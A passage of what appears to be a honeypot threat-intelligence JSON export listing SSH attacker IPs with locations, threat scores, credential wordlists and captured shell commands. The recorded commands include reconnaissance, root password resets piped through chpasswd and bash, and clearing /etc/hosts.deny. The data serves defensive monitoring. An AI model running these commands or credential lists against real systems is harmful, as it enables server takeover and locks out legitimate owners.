        "Suricata": 116
      }
    },
    "158.178.141.16": {
      "attack_count": 431,
      "first_seen": "2026-05-05T11:59:09.950Z",
      "last_seen": "2026-05-30T19:59:57.948Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "ubuntu",
        "user",
        "cyrus",
        "dev",
        "foo",
        "ftproot",
        "ftpuser",
        "gitadmin",
        "kingbase",
        "root11",
        "sabrina",
        "scan",
        "steam",
        "test",
        "test123",
        "tmp",
        "user0"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "11223344",
        "112233445566",
        "123456..",
        "123456789r",
        "159951",
        "8866",
        "88888888",
        "Aa123456",
        "Aa123456789",
        "Admin321",
        "He123456789",
        "Linux@2024",
        "Mj!@#$%^",
        "Pa@123456",
        "Password@123",
        "Wc123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"11223344\\nwBRI6yuYXog9\\nwBRI6yuYXog9\\n\"|passwd",
        "echo \"Password@123\\nSlK82dnifKTn\\nSlK82dnifKTn\\n\"|passwd",
        "echo \"root:53dkHLWCaANV\"|chpasswd|bash",
        "echo -e \"11223344\\nwBRI6yuYXog9\\nwBRI6yuYXog9\"|passwd|bash",
        "echo -e \"Password@123\\nSlK82dnifKTn\\nSlK82dnifKTn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Bungarribee",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 59.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 545,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:59:09.950000+00:00",
        "last_seen_30d": "2026-05-30T20:01:06.357000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 114
      }
    },
    "112.217.188.122": {
      "attack_count": 428,
      "first_seen": "2026-05-17T08:50:28.169Z",
      "last_seen": "2026-05-23T17:18:37.966Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "pzuser",
        "butter",
        "minecraft",
        "ranger",
        "teamspeak",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "123...com",
        "12345",
        "123456",
        "12345678",
        "123567",
        "123Qwe123",
        "1918",
        "1qa2ws#ED",
        "1qaz2wsx@",
        "abc123+-*/",
        "aroot",
        "brahim",
        "corky",
        "deepika",
        "gavin",
        "haha123",
        "its"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"pzuser\\nI0F6t5uKJS8K\\nI0F6t5uKJS8K\\n\"|passwd",
        "echo \"root:2KI9deASis0H\"|chpasswd|bash",
        "echo \"root:FgjVSFQut55z\"|chpasswd|bash",
        "echo \"root:xQXGt1GUxGoe\"|chpasswd|bash",
        "echo -e \"pzuser\\nI0F6t5uKJS8K\\nI0F6t5uKJS8K\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:50:28.169000+00:00",
        "last_seen_30d": "2026-05-23T17:19:46.880000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 428,
        "Suricata": 90
      }
    },
    "116.110.5.6": {
      "attack_count": 428,
      "first_seen": "2026-05-26T08:35:24.702Z",
      "last_seen": "2026-05-26T09:13:23.786Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "cisco",
        "support",
        "ubnt",
        "admian",
        "auto",
        "brenda",
        "btf",
        "cf1c22",
        "config",
        "cpanel",
        "ftp",
        "ftpuser",
        "george",
        "geral",
        "guest1",
        "help",
        "install"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "12345",
        "admin123",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "111111",
        "112233",
        "123",
        "123456",
        "123456789",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "@",
        "abcd1234",
        "admin01",
        "admin@123",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 619,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T08:35:24.702000+00:00",
        "last_seen_30d": "2026-05-26T09:14:25.004000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 428,
        "Suricata": 191
      }
    },
    "152.244.200.198": {
      "attack_count": 414,
      "first_seen": "2026-05-15T04:51:26.921Z",
      "last_seen": "2026-05-15T05:53:53.792Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "systemd-sync",
        "...",
        "dbus-helper",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "!^)$!(*&",
        "2016",
        "991992",
        "Aa98637381",
        "Anna",
        "Kermit123@",
        "Welcome@2019",
        "aa",
        "adminimda",
        "audrey123",
        "blahblah2",
        "foo123",
        "house",
        "ionyszaa",
        "leonie",
        "lol_lol_L0L_12346!&^$%#@@_87568"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"linux123\\nxogKAx09CVut\\nxogKAx09CVut\\n\"|passwd",
        "echo \"root:i9KfQPiVVq9M\"|chpasswd|bash",
        "echo \"root:n06PMI4QEfB1\"|chpasswd|bash",
        "echo \"warnight\\nAh2NJdb1gi8U\\nAh2NJdb1gi8U\\n\"|passwd",
        "echo -e \"linux123\\nxogKAx09CVut\\nxogKAx09CVut\"|passwd|bash",
        "echo -e \"warnight\\nAh2NJdb1gi8U\\nAh2NJdb1gi8U\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 496,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:51:26.921000+00:00",
        "last_seen_30d": "2026-05-15T05:54:56.162000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 82
      }
    },
    "116.110.151.56": {
      "attack_count": 412,
      "first_seen": "2026-05-26T08:36:05.812Z",
      "last_seen": "2026-05-26T09:13:45.554Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "developer",
        "nikita",
        "*****",
        "1234",
        "123456",
        "ace",
        "anton",
        "ashish",
        "backup",
        "belkinstyle",
        "bin",
        "db2inst2",
        "demo",
        "dubai",
        "ftp",
        "guest",
        "helpdesk"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "P@ssw0rd",
        "abc123",
        "admin",
        "nikita",
        "*****",
        "0987654321",
        "1111",
        "1234",
        "12345",
        "12345678",
        "72ca06",
        "91482d",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abcdefg",
        "ace",
        "admin1",
        "anton"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 583,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T08:36:05.812000+00:00",
        "last_seen_30d": "2026-05-26T09:14:47.876000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 412,
        "Suricata": 171
      }
    },
    "103.86.198.162": {
      "attack_count": 357,
      "first_seen": "2026-05-02T10:50:09.984Z",
      "last_seen": "2026-05-02T12:01:12.830Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "kafka",
        "odoo",
        "user1",
        "admin123",
        "cvsuser",
        "debian",
        "esuser",
        "ftpuser1",
        "gitlab",
        "guest",
        "server",
        "tempadmin",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "1",
        "123",
        "123456aA",
        "4rfv$RFV",
        "6666",
        "666666666",
        "ABCabc123",
        "Aa1234567890@",
        "P@ssw0rds",
        "Password1!",
        "admin123.0",
        "admin2023",
        "admin456",
        "boss",
        "cvsuser",
        "ftpuser1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nqJawGd2TalMJ\\nqJawGd2TalMJ\\n\"|passwd",
        "echo \"123456aA\\n9OuxDYYpHwCT\\n9OuxDYYpHwCT\\n\"|passwd",
        "echo \"odooserver\\n3GylI07C1jVi\\n3GylI07C1jVi\\n\"|passwd",
        "echo -e \"123456\\nqJawGd2TalMJ\\nqJawGd2TalMJ\"|passwd|bash",
        "echo -e \"123456aA\\n9OuxDYYpHwCT\\n9OuxDYYpHwCT\"|passwd|bash",
        "echo -e \"odooserver\\n3GylI07C1jVi\\n3GylI07C1jVi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Gazipur",
      "asn": 18109,
      "as_org": "MAISHA NET",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 436,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:50:09.984000+00:00",
        "last_seen_30d": "2026-05-02T12:02:19.905000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 79
      }
    },
    "50.99.168.173": {
      "attack_count": 357,
      "first_seen": "2026-05-11T22:43:05.481Z",
      "last_seen": "2026-05-11T23:24:34.142Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "minecraft",
        "john",
        "mysql",
        "postgres",
        "aiadmin",
        "dev",
        "mailtest",
        "sftpuser",
        "sysadmin",
        "test",
        "test5",
        "testuser",
        "webserver",
        "webuser"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "111111",
        "12344321",
        "1qazXSW@",
        "Aa123456..",
        "P@ssw0rd",
        "Passw0rd",
        "Test@123",
        "aA@123456789",
        "admin2024",
        "admin@123.",
        "adminserver2024",
        "aiadmin",
        "asdfghjkl",
        "default",
        "feliks",
        "postgres123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"111111\\namkjoHDcvVi4\\namkjoHDcvVi4\\n\"|passwd",
        "echo \"Passw0rd\\nPCUEqXlGcMPV\\nPCUEqXlGcMPV\\n\"|passwd",
        "echo \"test123\\n7OM88IBtcSga\\n7OM88IBtcSga\\n\"|passwd",
        "echo -e \"111111\\namkjoHDcvVi4\\namkjoHDcvVi4\"|passwd|bash",
        "echo -e \"Passw0rd\\nPCUEqXlGcMPV\\nPCUEqXlGcMPV\"|passwd|bash",
        "echo -e \"test123\\n7OM88IBtcSga\\n7OM88IBtcSga\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Hinton",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 435,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:43:05.481000+00:00",
        "last_seen_30d": "2026-05-11T23:25:38.706000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 78
      }
    },
    "185.160.215.76": {
      "attack_count": 308,
      "first_seen": "2026-05-19T18:24:47.915Z",
      "last_seen": "2026-05-20T18:01:54.233Z",
      "sessions": 154,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "La Palma del Condado",
      "asn": 29119,
      "as_org": "Aire Networks Del Mediterraneo Sl Unipersonal",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:24:47.915000+00:00",
        "last_seen_30d": "2026-05-20T18:03:02.226000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 308,
        "Suricata": 154
      }
    },
    "43.163.108.149": {
      "attack_count": 304,
      "first_seen": "2026-05-18T17:45:31.305Z",
      "last_seen": "2026-05-18T18:16:28.879Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11011969",
        "123qweASD!@#",
        "1q2w",
        "200389",
        "2030",
        "Cisco123!@",
        "Qwerty123456",
        "a123123",
        "amateur",
        "andreas1",
        "cs123456",
        "dolphins",
        "ds",
        "kettle",
        "molisoft",
        "oswald",
        "root1234567",
        "ssh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:fCMHwlDw0pFY\"|chpasswd|bash",
        "echo \"root:ifhAF9ZEzKKN\"|chpasswd|bash",
        "echo \"root:uC9BKDm6j7HF\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:45:31.305000+00:00",
        "last_seen_30d": "2026-05-18T18:17:31.198000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "121.179.119.204": {
      "attack_count": 263,
      "first_seen": "2026-05-04T00:26:47.236Z",
      "last_seen": "2026-05-04T00:56:24.181Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "admin_user",
        "ftpuser",
        "ubuntu",
        "user",
        "admin",
        "debian",
        "github",
        "kafka",
        "minecraft",
        "newuser",
        "odoo",
        "student",
        "teamspeak3",
        "testuser",
        "toptest",
        "useradmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123456",
        "1q2w3e4r5t",
        "Passw0rd12",
        "UBUNTU1234",
        "aaaaaa",
        "abc12345",
        "admin",
        "admin3344",
        "admin@123$%^",
        "admin_user",
        "adminadmin",
        "kafka@2023",
        "master",
        "odoo@2022",
        "oracle7",
        "qwerty123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"abc12345\\nE8ameaugIXW3\\nE8ameaugIXW3\\n\"|passwd",
        "echo \"admin_user\\nUW0WvKOWFbW2\\nUW0WvKOWFbW2\\n\"|passwd",
        "echo -e \"abc12345\\nE8ameaugIXW3\\nE8ameaugIXW3\"|passwd|bash",
        "echo -e \"admin_user\\nUW0WvKOWFbW2\\nUW0WvKOWFbW2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 325,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:26:47.236000+00:00",
        "last_seen_30d": "2026-05-04T00:57:32.999000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 62
      }
    },
    "198.244.189.160": {
      "attack_count": 242,
      "first_seen": "2026-05-13T19:28:52.703Z",
      "last_seen": "2026-05-13T20:04:34.487Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "+++",
        "2060",
        "314314",
        "521521",
        "56525652",
        "Root1234",
        "aboubacar",
        "adminsys",
        "clone",
        "dreambox",
        "dst",
        "huawei",
        "ida123",
        "kingsoft",
        "kiskacsa",
        "metallica",
        "password!",
        "rex123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:9tzmVOf1wmIh\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nUqhFVNpG3PA0\\nUqhFVNpG3PA0\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\nUqhFVNpG3PA0\\nUqhFVNpG3PA0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:28:52.703000+00:00",
        "last_seen_30d": "2026-05-13T20:05:39.808000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 56
      }
    },
    "41.60.236.106": {
      "attack_count": 224,
      "first_seen": "2026-05-22T15:14:02.223Z",
      "last_seen": "2026-05-23T13:59:15.516Z",
      "sessions": 112,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:14:02.223000+00:00",
        "last_seen_30d": "2026-05-23T14:00:22.117000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 224,
        "Suricata": 112
      }
    },
    "101.32.128.193": {
      "attack_count": 219,
      "first_seen": "2026-05-07T02:12:06.645Z",
      "last_seen": "2026-05-07T02:49:45.330Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "lighthouse",
        "345gs5662d34",
        "admin",
        "dspace",
        "ec2-user",
        "ftp_test",
        "ftpuser1"
      ],
      "passwords_attempted": [
